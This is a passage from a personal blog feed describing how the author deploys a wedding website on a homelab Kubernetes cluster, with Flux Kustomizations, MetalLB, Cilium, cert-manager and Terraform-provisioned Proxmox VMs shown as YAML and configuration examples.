</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">kind</span>: Ingress
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">metadata</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">name</span>: wedding-website-ingress
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">namespace</span>: wedding-website
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">labels</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">app</span>: wedding-website
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">spec</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">rules</span>:
</span></span><span style="display:flex;"><span>  ...
</span></span><span style="display:flex;"><span>  - <span style="color:#ca9ee6">host</span>: wedding.${domain}
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">http</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#ca9ee6">paths</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ca9ee6">pathType</span>: Prefix
</span></span><span style="display:flex;"><span>        <span style="color:#ca9ee6">path</span>: <span style="color:#a6d189">&#34;/&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#ca9ee6">backend</span>:
</span></span><span style="display:flex;"><span>          <span style="color:#ca9ee6">service</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#ca9ee6">name</span>: wedding-website-svc
</span></span><span style="display:flex;"><span>            <span style="color:#ca9ee6">port</span>:
</span></span><span style="display:flex;"><span>              <span style="color:#ca9ee6">name</span>: web
</span></span></code></pre></div><h2 id="network-reconciliation">network-reconciliation</h2>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#ca9ee6">apiVersion</span>: kustomize.toolkit.fluxcd.io/v1
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">kind</span>: Kustomization
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">metadata</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">name</span>: network-reconciliation
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">namespace</span>: flux-system
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">labels</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">sharding.fluxcd.io/key</span>: infra
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">spec</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">commonMetadata</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">labels</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#ca9ee6">toolkit.fluxcd.io/tenant</span>: network
</span></span><span style="display:flex;"><span>      <span style="color:#ca9ee6">sharding.fluxcd.io/key</span>: infra
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">interval</span>: 1h
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">retryInterval</span>: 1m
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">timeout</span>: 5m
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">sourceRef</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">kind</span>: GitRepository
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">name</span>: flux-system
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">path</span>: ./common/network
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">prune</span>: <span style="color:#ef9f76">false</span>
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">postBuild</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">substituteFrom</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ca9ee6">kind</span>: ConfigMap
</span></span><span style="display:flex;"><span>        <span style="color:#ca9ee6">name</span>: cluster-vars
</span></span></code></pre></div><p>This kickstart the reconciliation of network relevant manifests. To be more specific, this will use kustomize to build some manifests:</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span>kustomization.yaml
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#ef9f76">---</span>
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">apiVersion</span>: kustomize.config.k8s.io/v1beta1
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">kind</span>: Kustomization
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">namespace</span>: flux-system
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">resources</span>:
</span></span><span style="display:flex;"><span>  - nginx/nginx.yaml
</span></span><span style="display:flex;"><span>  - metallb/metallb.yaml
</span></span><span style="display:flex;"><span>  - k8s-gateway/k8s-gateway.yaml
</span></span><span style="display:flex;"><span>  - cert-manager/cert-manager.yaml
</span></span><span style="display:flex;"><span>  - trust-manager/trust-manager.yaml
</span></span><span style="display:flex;"><span>  - cilium/cilium.yaml
</span></span></code></pre></div><p>As every other component in the cluster, each of the network pieces will require the reconciliation of two subcomponents:</p>
<ul>
<li><code>&lt;component&gt;-controllers</code>: this can include <code>HelmRelease</code>, <code>HelmRepository</code> and <code>Namespace</code> objects, everything that will deploy the required workload.</li>
<li><code>&lt;component&gt;-configs</code>: this can include CRs or <code>ConfigMaps</code> used by the component.</li>
</ul>
<p>As an example, let&rsquo;s see how <code>MetalLB</code> is installed.</p>

    <aside class="admonition tip">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-sun">
      <circle cx="12" cy="12" r="5"></circle>
      <line x1="12" y1="1" x2="12" y2="3"></line>
      <line x1="12" y1="21" x2="12" y2="23"></line>
      <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"></line>
      <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"></line>
      <line x1="1" y1="12" x2="3" y2="12"></line>
      <line x1="21" y1="12" x2="23" y2="12"></line>
      <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"></line>
      <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"></line>
   </svg></div><b>MetalLB</b>
        </div>
        <div class="admonition-content">MetalLB is a nice <a href="https://kubernetes.io/docs/concepts/services-networking/service/#loadbalancer">LoadBalancer</a> implementation meant for bare metal Kubernetes installation, where you can&rsquo;t leverage cloud provided load balancer. Have a look at the official doc <a href="https://metallb.io">HERE</a>. This will basically create a Virtual IP where your workload (i.e. IngressController) will be listening on, using either L2 (<a href="https://wiki.wireshark.org/Gratuitous_ARP">Gratuitous ARP</a>) or L3 (<a href="https://en.wikipedia.org/wiki/Border_Gateway_Protocol">BGP</a>)</div>
    </aside>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span>metallb.yaml
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#ef9f76">---</span>
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">apiVersion</span>: kustomize.toolkit.fluxcd.io/v1
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">kind</span>: Kustomization
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">metadata</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">name</span>: metallb-controllers
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">namespace</span>: flux-system
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">spec</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">interval</span>: 1h
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">retryInterval</span>: 1m
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">timeout</span>: 5m
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">sourceRef</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">kind</span>: GitRepository
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">name</span>: flux-system
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">path</span>: ./common/network/metallb/controllers
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">prune</span>: <span style="color:#ef9f76">true</span>
</span></span><span style="display:flex;"><span><span style="color:#ef9f76">---</span>
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">apiVersion</span>: kustomize.toolkit.fluxcd.io/v1
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">kind</span>: Kustomization
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">metadata</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">name</span>: metallb-configs
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">namespace</span>: flux-system
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">spec</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">dependsOn</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#ca9ee6">name</span>: metallb-controllers
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">interval</span>: 1h
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">retryInterval</span>: 1m
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">timeout</span>: 5m
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">sourceRef</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">kind</span>: GitRepository
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">name</span>: flux-system
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">path</span>: ./common/network/metallb/configs
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">prune</span>: <span style="color:#ef9f76">false</span>
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">postBuild</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">substituteFrom</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ca9ee6">kind</span>: ConfigMap
</span></span><span style="display:flex;"><span>        <span style="color:#ca9ee6">name</span>: cluster-vars
</span></span></code></pre></div><p>Flux first install the <code>metallb-controllers</code> and then the <code>metallb-configs</code>, as you can see from the <code>.spec.dependsOn</code> field (more info available <a href="https://fluxcd.io/flux/components/kustomize/kustomizations/#dependencies">HERE</a>).
<code>metallb-controllers</code> is responsible to deploy:</p>
<ul>
<li><code>metallb</code> Namespace</li>
<li><code>HelmRepository</code> CR, for the MetalLB helm repository;</li>
<li><code>HelmRelease</code> CR, to install MetalLB helm chart from the MetalLB helm repository</li>
</ul>
<p><code>metallb-configs</code> is responsible to deploy the <code>IPAddressPool</code> for MetalLB (which CIDR is going to be used to instantiate a new VIP, when a new Service with <code>spec.type: LoadBalancer</code> is created) and the <code>L2Advertisment</code> CR (to setup MetalLB in L2 mode).</p>
<p>Folder structure will look something like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>└── common
</span></span><span style="display:flex;"><span>    ├── configs
</span></span><span style="display:flex;"><span>    ├── infra
</span></span><span style="display:flex;"><span>    └── network
</span></span><span style="display:flex;"><span>        ├── cert-manager
</span></span><span style="display:flex;"><span>        ├── cilium
</span></span><span style="display:flex;"><span>        ├── k8s-gateway
</span></span><span style="display:flex;"><span>        ├── kustomization.yaml
</span></span><span style="display:flex;"><span>        ├── metallb
</span></span><span style="display:flex;"><span>        │   ├── configs
</span></span><span style="display:flex;"><span>        │   │   ├── ipaddresspool.yaml
</span></span><span style="display:flex;"><span>        │   │   └── l2advertisement.yaml
</span></span><span style="display:flex;"><span>        │   ├── controllers
</span></span><span style="display:flex;"><span>        │   │   ├── helmrelease.yaml
</span></span><span style="display:flex;"><span>        │   │   ├── helmrepository.yaml
</span></span><span style="display:flex;"><span>        │   │   └── namespace.yaml
</span></span><span style="display:flex;"><span>        │   └── metallb.yaml
</span></span><span style="display:flex;"><span>        ├── nginx
</span></span><span style="display:flex;"><span>        └── trust-manager
</span></span></code></pre></div><p>Have a look on how the post variable substitution is used for MetalLB too.</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span>ipaddresspool.yaml
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#ef9f76">---</span>
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">apiVersion</span>: metallb.io/v1beta1
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">kind</span>: IPAddressPool
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">metadata</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">name</span>: standard
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">namespace</span>: metallb
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">spec</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">addresses</span>:
</span></span><span style="display:flex;"><span>  - ${load_balancer_pool}
</span></span></code></pre></div><p><code>${load_balancer_pool}</code> is going to be replaced with <code>cluster-vars.data.cluster-vars</code>.</p>

    <aside class="admonition tip">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-sun">
      <circle cx="12" cy="12" r="5"></circle>
      <line x1="12" y1="1" x2="12" y2="3"></line>
      <line x1="12" y1="21" x2="12" y2="23"></line>
      <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"></line>
      <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"></line>
      <line x1="1" y1="12" x2="3" y2="12"></line>
      <line x1="21" y1="12" x2="23" y2="12"></line>
      <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"></line>
      <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"></line>
   </svg></div><b>Is MetalLB really needed?</b>
        </div>
        <div class="admonition-content">If you are using Cilium, you may want to use <a href="https://docs.cilium.io/en/stable/network/lb-ipam/">LB IPAM</a>. To replicate this L2 setup, you would need to set <code>l2announcements.enabled=true</code> during the helm install, as documented <a href="https://docs.cilium.io/en/stable/network/l2-announcements/#l2-announcements-l2-aware-lb-beta">HERE</a>.</div>
    </aside>
<p>This reconciliation will also be responsible of installing:</p>
<ul>
<li><a href="https://cilium.io">Cilium</a>: the CNI I&rsquo;m using in the cluster, powered by eBPF. Do you remember the chicken-in-the-egg thing?</li>
<li><a href="https://docs.nginx.com/nginx-ingress-controller/installation/installing-nic/installation-with-helm/">NGINX Ingress Controller</a>: <a href="https://kubernetes.io/docs/concepts/services-networking/ingress-controllers/">Ingress Controller</a> listening on a Service LoadBalancer. And no, that&rsquo;s not the &ldquo;default&rdquo; community based Kubernetes Ingress Controller. This is maintained by nginx/F5</li>
<li><a href="https://cert-manager.io">cert-manager</a>: generate SSL certificates from the cluster sub-CA I&rsquo;ve talked about in part 1. You can use it to automatically generate SSL certificates with <a href="https://cert-manager.io/docs/tutorials/acme/nginx-ingress/">Let&rsquo;s Encrypt</a> if you don&rsquo;t want to manage your own CA</li>
<li><a href="https://cert-manager.io/docs/trust/trust-manager/">trust-manager</a>: automatically replicate my homelab root CA certificate across all the namespaces, so it will be easier for any workload to trust it and to connect to internal services</li>
<li><a href="https://github.com/ori-edge/k8s_gateway">k8s-gateway</a>: expose a DNS service and automatically register any entries defined as <code>Ingress</code> or <code>Gateway</code> resources</li>
</ul>
<h2 id="secret-reconciliation">secret-reconciliation</h2>
<p>This Kustomization depends on the <code>network-reconciliation</code> <code>Kustomization</code> and is responsible to deploy the 1Password Connect server. This will connect to my 1Password Homelab safe, using the secrets deployed in part 1.</p>
<h2 id="infra-reconciliation">infra-reconciliation</h2>
<p>This Kustomization will install many components, such as:</p>
<ul>
<li><a href="https://external-secrets.io/latest/">External Secret Operator</a>: automatically sync secrets with external secret manager solution (in my case 1Password through the 1Password Connect server)</li>
<li><a href="https://grafana.com/docs/loki/latest/send-data/promtail/">Promtail</a>: collect logs and send it to an external logging solution</li>
<li><a href="https://github.com/prometheus-community/helm-charts/tree/main/charts/kube-prometheus-stack">kube-prometheus-stack</a>: collect metrics and send it to an external metrics collection solution and make them available for <a href="https://github.com/freelensapp/freelens">FreeLens</a></li>
<li><a href="https://longhorn.io">Longhorn</a>: cloud native distributed block storage (even if I&rsquo;m only using a two node cluster, where only the worker node will need persistent storage)</li>
</ul>
<h1 id="management-cluster">Management cluster</h1>
<p>As shared in part 1, this cluster is used to expose some management services too, on top of the 1Password Connect Server previously installed. These are managed by a specific reconciliation step.</p>
<h2 id="log-reconciliation">log-reconciliation</h2>
<p>This Kustomization will wait for <code>infra-reconciliation</code> to be completed. This will install:</p>
<ul>
<li><a href="https://victoriametrics.com">VictoriaMetrics</a>: collect metrics, alternative to <a href="https://prometheus.io">Prometheus</a>. Receive logs from <code>kube-prometheus-stack</code></li>
<li><a href="https://docs.victoriametrics.com/victorialogs/">VictoriaLogs</a>: collect logs, alternative to <a href="https://grafana.com/oss/loki/">Loki</a>. Receive logs from Promtail</li>
<li><a href="https://grafana.com">Grafana</a>: show logs and metrics in nice dashboards</li>
</ul>
<h1 id="copy-and-paste-everywhere">Copy and paste everywhere?</h1>
<p>As you may have seen from the repository structure, there&rsquo;s some kind of pattern that is always repeated across all the components. Each component is usually shipped with a <code>configs</code> and a <code>controllers</code> <code>Kustomization</code>. The controllers usually deploys an <code>HelmRepository</code>/<code>OCIRepository</code>, an <code>HelmRelease</code> and a <code>Namespace</code> objects.</p>
<p>Wouldn&rsquo;t it be nice to be able to create something like a template, to avoid copying and pasting resources all over again? That&rsquo;s what <code>ResourceSet</code> API is meant for. With <code>ResourceSet</code> you can generate multiple Kubernetes objects following a matrix of input values and a template. This is part of the new Flux Operator and you can find more details <a href="https://fluxcd.control-plane.io/operator/resourceset/">HERE</a>.</p>

    <aside class="admonition tip">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-sun">
      <circle cx="12" cy="12" r="5"></circle>
      <line x1="12" y1="1" x2="12" y2="3"></line>
      <line x1="12" y1="21" x2="12" y2="23"></line>
      <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"></line>
      <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"></line>
      <line x1="1" y1="12" x2="3" y2="12"></line>
      <line x1="21" y1="12" x2="23" y2="12"></line>
      <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"></line>
      <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"></line>
   </svg></div><b>Templates vs inputs</b>
        </div>
        <div class="admonition-content">I&rsquo;m personally still have to use it as I would like templates and inputs to be defined in separate objects. I&rsquo;ve proposed to decouple the two concepts and an issue has already been opened <a href="https://github.com/controlplaneio-fluxcd/flux-operator/issues/203">HERE</a> to track progresses. In the meantime, I was considering start using <a href="https://kro.run">Kube Resouce Orchestrator (KRO)</a> but didn&rsquo;t have the time yet.</div>
    </aside>
<p>In the next episode, I&rsquo;m going to talk about how the website is packaged, uploaded on GHCR via a GitHub action and how this is installed on the cluster by Flux.</p>
]]></content></item><item><title>A wedding website powered by Kubernetes, Flux, and GitHub Actions - Part 1</title><link>http://blog.martino.wtf/posts/wedding-pt1/</link><pubDate>Tue, 18 Feb 2025 10:48:15 +0100</pubDate><guid>http://blog.martino.wtf/posts/wedding-pt1/</guid><description>%!s(&lt;nil>)</description><content type="html"><![CDATA[
    <aside class="admonition warning">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-alert-circle">
      <circle cx="12" cy="12" r="10"></circle>
      <line x1="12" y1="8" x2="12" y2="12"></line>
      <line x1="12" y1="16" x2="12.01" y2="16"></line>
   </svg></div><b>Yet another warning, deal with it</b>
        </div>
        <div class="admonition-content"><p>This is not intended as a tutorial for setting up an environment like this, as some things are automated and some other things (like HAProxy setup) are carried out manually. This is still an incomplete mess.</p>
<p>It&rsquo;s meant to be something like a blueprint you can take inspiration from. You will not be able to find detailed commands or detailed code, as I&rsquo;m way too ashamed of my git history to make my repos public atm. I swear I&rsquo;ll fix them in the near future.</p>
</div>
    </aside>
<p>Ok, <strong>I&rsquo;m getting married</strong>. As an IT guy, my first priority has to be:</p>
<blockquote>
<p>How can we deploy a wedding website no one is ever going to take a look at?</p>
</blockquote>
<p>Let&rsquo;s start then.</p>
<h1 id="domain">Domain</h1>
<p>Registering a domain is always the first step. Miriana is my future wife&rsquo;s name, also known as <em>Miri</em>. My surname is Martino, also known as <em>tino</em>. Here you go, <code>miritino.it</code>.
That domain is then managed on Cloudflare and the web server is going to be exposed via <a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/">Cloudflare Tunnels</a>, as I&rsquo;m using that for managing my other domains (yes, more than one, included <code>martino.wtf</code> which I&rsquo;m super proud of).</p>
<h1 id="kubernetes-on-proxmox-vms">Kubernetes on Proxmox VMs</h1>
<p>Everything is running on a very small Kubernetes cluster hosted on an even smaller 3-node Proxmox cluster. This Kubernetes cluster is going to be used to host:</p>
<ul>
<li>management services: Observability stack (Grafana, VictoriaLogs, VictoriaMetrics) and 1Password Connect server. Maybe I will add a nice IdP in the future (Keycloak), who knows?</li>
<li>applications: at this stage, only the wedding website</li>
</ul>
<p>The VMs are created from an already existing Ubuntu 24.04 LTS template (nothing fancy, IIRC only <code>cloud-init</code> and <code>qemu agent</code> have been installed on this) using some terraform plans (courtesy of <a href="https://registry.terraform.io/providers/Telmate/proxmox/latest/docs">proxmox terraform provider</a>).</p>

    <aside class="admonition info">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-info">
      <circle cx="12" cy="12" r="10"></circle>
      <line x1="12" y1="16" x2="12" y2="12"></line>
      <line x1="12" y1="8" x2="12.01" y2="8"></line>
   </svg></div><b>Terraform Modules</b>
        </div>
        <div class="admonition-content">I will probably rewrite these plans as <a href="https://developer.hashicorp.com/terraform/language/modules">modules</a> just to learn something new, but that&rsquo;s another task for future me.</div>
    </aside>
<p>I&rsquo;ve built a nice wrapper around this provider so that the VMs are declared in the following way:</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span><span style="color:#e78284">vms</span> <span style="color:#e78284">=</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#e78284">k8s-cp-01</span> <span style="color:#e78284">=</span> <span style="color:#e78284">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">cpu</span> <span style="color:#e78284">=</span> <span style="color:#e78284">2</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">disk_size</span> <span style="color:#e78284">=</span> <span style="color:#ca9ee6">&#34;30&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">disk_location</span> <span style="color:#e78284">=</span> <span style="color:#a6d189">&#34;local-lvm&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">template</span> <span style="color:#e78284">=</span> <span style="color:#a6d189">&#34;ubuntu-2404-template&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">ip</span> <span style="color:#e78284">=</span> <span style="color:#a6d189">&#34;192.168.20.1&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">ram</span> <span style="color:#e78284">=</span> <span style="color:#e78284">4096,</span> 
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">node</span> <span style="color:#e78284">=</span> <span style="color:#ca9ee6">&#34;nuc&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">user</span> <span style="color:#e78284">=</span> <span style="color:#ca9ee6">&#34;ci&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">onboot</span> <span style="color:#e78284">=</span> <span style="color:#e78284">false,</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">network_zone</span> <span style="color:#e78284">=</span> <span style="color:#ca9ee6">&#34;k8s&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">vm_state</span> <span style="color:#e78284">=</span> <span style="color:#ca9ee6">&#34;running&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">tags</span> <span style="color:#e78284">=</span> <span style="color:#a6d189">&#34;k8s;k8s_cps&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">hostname</span> <span style="color:#e78284">=</span> <span style="color:#a6d189">&#34;cp-01&#34;</span>
</span></span><span style="display:flex;"><span>  }<span style="color:#e78284">,</span> 
</span></span><span style="display:flex;"><span>  <span style="color:#e78284">k</span><span style="color:#ef9f76">8</span><span style="color:#e78284">s-wrk</span><span style="color:#ef9f76">-01</span> <span style="color:#e78284">=</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">cpu</span> <span style="color:#e78284">=</span> <span style="color:#e78284">4</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">disk_size</span> <span style="color:#e78284">=</span> <span style="color:#ca9ee6">&#34;100&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">disk_location</span> <span style="color:#e78284">=</span> <span style="color:#a6d189">&#34;local-lvm&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">template</span> <span style="color:#e78284">=</span> <span style="color:#a6d189">&#34;ubuntu-2404-template&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">ip</span> <span style="color:#e78284">=</span> <span style="color:#a6d189">&#34;192.168.20.11&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">ram</span> <span style="color:#e78284">=</span> <span style="color:#ef9f76">16384</span>, 
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">node</span> <span style="color:#e78284">=</span> <span style="color:#ca9ee6">&#34;chinuc&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">user</span> <span style="color:#e78284">=</span> <span style="color:#ca9ee6">&#34;ci&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">onboot</span> <span style="color:#e78284">=</span> <span style="color:#e78284">false,</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">network_zone</span> <span style="color:#e78284">=</span> <span style="color:#ca9ee6">&#34;k8s&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">vm_state</span> <span style="color:#e78284">=</span> <span style="color:#a6d189">&#34;running&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">tags</span> <span style="color:#e78284">=</span> <span style="color:#a6d189">&#34;k8s;k8s_workers&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e78284">hostname</span> <span style="color:#e78284">=</span> <span style="color:#a6d189">&#34;wrk-01&#34;</span>
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span><span style="color:#e78284">}</span>
</span></span></code></pre></div><p>The VM is created, with the correct network interfaces with the correct VLAN tagging. The correct network configuration and the SSH public keys are applied then via <code>cloud-init</code> (<a href="https://pve.proxmox.com/wiki/Cloud-Init_Support">HERE</a> and <a href="https://cloudinit.readthedocs.io/en/latest/index.html">HERE</a>). On top of that, relevant DNS entries/firewall aliases are created in my opnsense installation (courtesy of <a href="https://registry.terraform.io/providers/browningluke/opnsense/latest/docs">opnsense terraform provider</a>).</p>
<p><img src="/images/wedding-website/proxmox.jpg" alt="VM deployed on Proxmox"></p>
<p><img src="/images/wedding-website/dns.png" alt="opnsense kubernetes dedicated sub-CA"></p>
<p>Then a magic Ansible playground is executed, which will:</p>
<ul>
<li>install some useful tools (i.e. <code>netools</code>)</li>
<li>install the container runtime (<code>cri-o</code>, in my case)</li>
<li>install <code>kubeadm</code> and <code>kubelet</code></li>
<li>do some preparation stuff on the OS</li>
<li>create the cluster, bootstrapping the controlplane</li>
<li>join the worker node to the cluster</li>
<li>install Cilium CNI</li>
</ul>
<p>I&rsquo;m exposing the API endpoint behind a VIP, so I&rsquo;m using a specific <code>kubeadm</code> command to spin up the cluster, specifying the control plane endpoint.</p>
